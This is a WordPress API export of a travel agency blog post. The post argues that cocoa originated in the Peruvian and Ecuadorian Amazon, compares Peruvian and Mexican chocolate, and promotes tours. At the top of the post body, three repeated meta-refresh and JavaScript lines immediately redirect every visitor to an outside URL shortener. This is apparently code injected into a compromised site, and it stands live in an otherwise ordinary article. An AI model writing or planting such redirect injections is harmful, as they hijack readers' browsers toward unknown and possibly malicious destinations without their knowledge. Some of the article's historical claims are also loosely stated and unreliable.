{"id":17204,"date":"2025-07-22T15:45:39","date_gmt":"2025-07-22T20:45:39","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=17204"},"modified":"2025-07-22T15:56:29","modified_gmt":"2025-07-22T20:56:29","slug":"the-great-cocoa-clash-is-peru-the-true-home-of-chocolate","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-great-cocoa-clash-is-peru-the-true-home-of-chocolate\/","title":{"rendered":"The\u00a0Great Cocoa Clash: Is Peru the True Home of Chocolate?"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-cacao-route-chocolate-tourism-in-peru\/\"><strong>Cocoa, or cacao<\/strong><\/a>, the humble bean that brings us our beloved chocolate, has a truly interesting history! For a long time, we believed that Mexico and Central America were the original homes of cocoa, thanks to their ancient cultures that enjoyed a tasty drink called \u201cxocolatl.\u201d<\/p>\n\n\n\n<p>However, exciting new discoveries from the Amazon jungles in Peru suggest that this beautiful region might be where cocoa first won hearts more than 5,000 years ago.<\/p>\n\n\n\n<p>Therefore, let\u2019s dive into this rich history together! We\u2019ll look at these new findings and compare Peruvian cocoa with its delicious cousins from Central and North America. Get ready for a fun journey filled with tasty treats and fascinating facts!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Rewriting the Cocoa Origin Story<\/strong><\/h2>\n\n\n\n<p>The traditional tale pinned cocoa\u2019s origins on Mesoamerica, where the Olmecs, Maya, and Aztecs turned cocoa into a cultural icon.&nbsp;<\/p>\n\n\n\n<p>The Aztecs were so smitten that they used cocoa beans as cash. Imagine buying a taco with a handful of chocolate chips!\u00a0<\/p>\n\n\n\n<p>Nevertheless, recent archaeological discoveries are altering this narrative, indicating that Peru and Ecuador\u2019s Amazonian areas are the true cocoa pioneers.<\/p>\n\n\n\n<p>For instance, in 2024, a study in \u201cScientific Reports\u201d led by Claire Lanaud dropped a bombshell: cocoa domestication likely originated in the\u00a0 <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-amazon-jungle-ecotourism-and-excursions\/\"><strong>Amazon Rainforest<\/strong><\/a>, Peru\u2019s upper part, around 5,500 years ago.\u00a0<\/p>\n\n\n\n<p>Excavations in Montegrande, a ceremonial site in Ja\u00e9n, Cajamarca, uncovered ceramic vessels laced with theobromine\u2014cocoa\u2019s chemical signature\u2014alongside ancient cocoa seeds.&nbsp;<\/p>\n\n\n\n<p>Peruvian archaeologist Quirino Olivera, who\u2019s been knee-deep in Montegrande\u2019s dirt since 2016, argues these finds prove cocoa was a big deal in Amazonian rituals long before it hit Mesoamerica.&nbsp;<\/p>\n\n\n\n<p>Some artifacts even hint at cocoa use as far back as 6,100 years, making Peru a serious contender for the cocoa crown.<\/p>\n\n\n\n<p>Ecuador\u2019s not sitting this debate out either. Research from 2024 and 2025, including reports from La Rep\u00fablica, used fancy archaeogenomics to analyze DNA from cocoa residues on ceramics from the Chinchipe-Mara\u00f1\u00f3n culture.\u00a0<\/p>\n\n\n\n<p>These tests pegged cocoa domestication near the Ecuador-Colombia border around 5,300 years ago. From there, cocoa hitched a ride through pre-Columbian trade networks, spreading to Peru\u2019s Pacific coast and eventually north to Central America.&nbsp;<\/p>\n\n\n\n<p>These weren\u2019t just bean swaps\u2014ancient traders shared farming tricks, rituals, and maybe even early cocktail recipes using fermented cocoa pulp.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-17206\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-22-jul-2025-15_36_42.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Aztecs, Mayas, and pre-Inca cultures shared in common their passion for cacao.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Why does Mesoamerica get all the credit?<\/h2>\n\n\n\n<p> The Olmecs (1500\u2013400 BCE) were cocoa\u2019s first hype squad, mixing it into sacred drinks.\u00a0 The Maya spiced it up with chili, and the Aztecs turned it into an elite status symbol. Think of \u201cxocolatl\u201d as the Champagne of ancient Mexico.\u00a0<\/p>\n\n\n\n<p>This cultural flair made historians assume Mesoamerica was<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cocoa-route-in-tocache-san-martin-in-peru\/\"><strong> cacao\u2019s starting line<\/strong><\/a>. But the new evidence suggests Peru and Ecuador were growing cocoa while Mesoamericans were still figuring out maize.&nbsp;<\/p>\n\n\n\n<p>The Amazonians likely fermented cocoa pulp into boozy brews, tossing the seeds. On the other side, while Mesoamericans later cracked the code on roasting and grinding those seeds into chocolate\u2019s ancestor.<\/p>\n\n\n\n<p>Still, the debate has some gray areas. While Peru might claim cocoa\u2019s genetic roots, Mesoamerica deserves props for turning it into a culinary legend. It\u2019s like Peru grew the grapes, but Mexico bottled the wine.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Archaeological Dirt<\/strong><\/h2>\n\n\n\n<p>The evidence for Peru\u2019s cocoa cred is straight out of an Indiana Jones flick. Scientists used cutting-edge tools like archaeogenomics and chemical residue analysis to study ceramics from 352 sites across Ecuador, Colombia, and Central America.&nbsp;<\/p>\n\n\n\n<p>For example, in Montegrande, Olivera\u2019s team found cocoa starch grains and theobromine in ritual vessels, suggesting cocoa was important in ancient ceremonies\u2014possibly even tucked into tombs as a farewell gift.&nbsp;<\/p>\n\n\n\n<p>Across the border, Ecuador\u2019s Valdivia and Puerto Hormiga cultures left behind 5,300-year-old ceramics with similar cocoa traces, proving the Amazon was a cocoa hotspot.<\/p>\n\n\n\n<p>Mesoamerica, though, has its own archaeological swagger. Sites like Puerto Escondido in Honduras show cocoa use around 1500 BCE, and the Maya\u2019s detailed recipes.<\/p>\n\n\n\n<p>You can think cocoa with vanilla or honey\u2014set the stage for modern chocolate.\u00a0The Aztecs took it next level, reserving cocoa drinks for nobles and warriors. While Peru might have been cocoa\u2019s nursery, Mesoamerica was its finishing school.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-17207\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-21-jul-2025-10_39_13.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Montegrande, in Jaen, Cajamarca, thousands of years ago, where people used to consume Cacao.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Peruvian Chocolate vs. the World: A Flavor Face-Off<\/strong><\/h2>\n\n\n\n<p>Now, let\u2019s talk about what really matters: taste. Peruvian cocoa is the rock star of the chocolate world, bursting with flavors that range from floral to fruity to nutty.&nbsp;<\/p>\n\n\n\n<p>With 16 of the 25 cocoa genetic groups in the Americas, Peru\u2019s got diversity that makes other chocolate makers jealous.&nbsp;<\/p>\n\n\n\n<p>Take the white cocoa of Piura\u2014its low acidity and jasmine-like notes are a chocolate lover&#8217;s dream. Or the Chuncho from Vraem, which snagged gold at the 2017 Salon du Chocolat in London, proving it can hang with the big dogs.\u00a0<\/p>\n\n\n\n<p>As another example, we have the \u201ccacao chuncho\u201d, considered by many the oldest cocoa in the world and one of the best. This cacao tree species only grows in regions such as Quillabamba and the Sacred Valley in the Cusco region<\/p>\n\n\n\n<p>Additionally, Peru is the world\u2019s second-largest organic chocolate producer, churning out 108,000 tons a year, and its beans fetch top dollar for their fine aroma and high quality.\u00a0<\/p>\n\n\n\n<p>Brands like Cacaosuyo and Maran\u00e1 have racked up awards, with 28 medals at the 2017 International Chocolate Awards alone, leaving U.S. and Mexican competitors in the dust.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"410\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/health.jpg?resize=697%2C410&#038;ssl=1\" alt=\"\" class=\"wp-image-17208\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/health.jpg?resize=1024%2C602&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/health.jpg?resize=300%2C176&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/health.jpg?resize=768%2C452&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/health.jpg?w=1250&amp;ssl=1 1250w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">North American chocolate: The debate continues<\/h2>\n\n\n\n<p>Mexico has a wonderful cocoa tradition that we can celebrate, but it also faces some challenges. The Criollo beans, once known as the best, have a smooth and less bitter flavor. This makes them perfect for artisanal products like pozol, a tasty corn-cocoa drink loved in Chiapas.<\/p>\n\n\n\n<p>Unfortunately, production has dipped to about 29,000 tons each year. This decline is due to issues like diseases, hurricanes, and droughts.<\/p>\n\n\n\n<p>Many farmers are now turning to the more resilient Forastero varieties. While these beans are easier to grow, they don\u2019t quite match the quality of Criollo.&nbsp;<\/p>\n\n\n\n<p>Although Mexico\u2019s cocoa shines in cultural recipes, it finds it hard to compete with Peru\u2019s strong global presence and production.<\/p>\n\n\n\n<p>In North America, the situation looks a bit different. The U.S. and Canada don\u2019t grow cocoa because of their cooler climates, but they are big chocolate lovers.<\/p>\n\n\n\n<p>Major companies like Hershey\u2019s source their beans from West Africa, especially from the Ivory Coast, which produces 40% of the world\u2019s cocoa. With some support and innovation, Mexico can continue to share its rich cocoa heritage with the world!<\/p>\n\n\n\n<p>These Forastero-heavy beans are cheap and reliable but taste flat compared to Peru\u2019s floral Criollos or Mexico\u2019s nutty Trinitarios. U.S. craft chocolatiers, like Dandelion Chocolate, rave about Peruvian beans for their citrusy zing, while Mexican cocoa adds an earthy depth to small-batch bars.<\/p>\n\n\n\n<p>Peru\u2019s secret sauce is its biodiversity and eco-conscious farming. Initiatives like Swisscontact\u2019s SIPPO and PESIPRO help farmers maintain top-notch quality, ensuring Peruvian cocoa stays a global darling.&nbsp;<\/p>\n\n\n\n<p>Mexico, meanwhile, needs more investment to reclaim its cocoa glory, especially as climate change and pests loom large.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"436\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/chocolate_mexicano.jpg?resize=697%2C436&#038;ssl=1\" alt=\"\" class=\"wp-image-17209\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/chocolate_mexicano.jpg?resize=1024%2C640&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/chocolate_mexicano.jpg?resize=300%2C188&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/chocolate_mexicano.jpg?resize=768%2C480&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/chocolate_mexicano.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Hot spicy Mexican chocolate with red chili pepper<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Why This Matters<\/strong><\/h2>\n\n\n\n<p>The cocoa origin debate isn\u2019t just nerdy trivia\u2014it\u2019s a matter of national pride and economic muscle. For Peru, being cocoa\u2019s birthplace boosts its brand, drawing tourists to sites like Montegrande and fueling export markets.&nbsp;<\/p>\n\n\n\n<p>The Peruvian Ministry of Culture is doubling down, funding digs to solidify the claim. These discoveries also spotlight Amazon\u2019s role as an ancient innovation hub, challenging old-school narratives that downplayed South America\u2019s contributions.<\/p>\n\n\n\n<p>Mexico\u2019s cocoa legacy, though, is nothing to sneeze at. Its rituals and recipes laid the groundwork for chocolate\u2019s global takeover, and the word \u201ccacao\u201d itself comes from Mesoamerican languages like Mixe-Zoque.&nbsp;<\/p>\n\n\n\n<p>Both countries face modern threats\u2014climate change, deforestation, and diseases like frosty pod rot\u2014but Peru\u2019s genetic diversity offers a lifeline for breeding tougher cocoa varieties.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Sweet Conclusion<\/strong><\/h2>\n\n\n\n<p>So, is cocoa Peruvian? The evidence says yes, with Peru and Ecuador\u2019s Amazonian jungles as the likely birthplace of Theobroma cacao.<\/p>\n\n\n\n<p>&nbsp;From Montegrande\u2019s ancient ceramics to Ecuador\u2019s DNA-tested residues, the Amazon was cocoa\u2019s first home, spreading through trade routes to Mesoamerica and beyond.&nbsp;<\/p>\n\n\n\n<p>Mexico deserves a standing ovation for turning cocoa into a cultural juggernaut, but Peru\u2019s got the edge in the origin story.<\/p>\n\n\n\n<p>When it comes to quality, Peruvian cocoa is a global superstar, with its diverse flavors and organic cred outpacing Mexico\u2019s struggling production and North America\u2019s import-heavy scene.&nbsp;<\/p>\n\n\n\n<p>Whether you\u2019re savoring a Peruvian Chuncho bar or sipping a Mexican pozol, cocoa\u2019s journey from the Amazon to your taste buds is a testament to ancient ingenuity and modern craftsmanship.&nbsp;<\/p>\n\n\n\n<p>Next time you unwrap a bar of chocolate, sip hot chocolate in Peru, or taste cocoa powder, it\u2019s probably where the magic started.<\/p>\n\n\n\n<p><strong>Viagens Machu Picchu<\/strong> encourages you to visit the land of the cacao for yourself! Feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong>, so you can get information about our tours, packages, and best deals. The adventure in Peru awaits. Don\u2019t be late!<\/p>\n\n\n\n<p><em><strong>Viagens Machu Picchu, journeys that inspire, moments that last.<\/strong><\/em><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Once thought to originate in Mesoamerica, cocoa\u2019s true roots may lie in Peru\u2019s Amazon, with discoveries dating back over 5,000 years. While Mexico made cocoa a cultural icon, Peru now leads with superior flavor diversity, rich history, and global recognition.<\/p>\n","protected":false},"author":1,"featured_media":17211,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[192,1850,1519],"tags":[1669,5909,5910,5907,5912,5911,5914,5906,5904,5913,2751,2737,3437,5908,5905,1465,3223],"class_list":["post-17204","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-experiences","category-food","category-peru","tag-amazon-rainforest","tag-cacao-trees","tag-central-america","tag-chocolate-in-peru","tag-chocolate-lover","tag-chocolate-maker","tag-chocolate-produced","tag-chocolate-production","tag-cocoa-beans","tag-cocoa-powder","tag-cusco-region","tag-high-quality","tag-hot-chocolate","tag-origin-in-the-amazon","tag-peruvian-chocolate","tag-south-america","tag-united-states"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/image-24.jpg?fit=768%2C576&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4tu","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=17204"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17204\/revisions"}],"predecessor-version":[{"id":17212,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17204\/revisions\/17212"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/17211"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=17204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=17204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=17204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}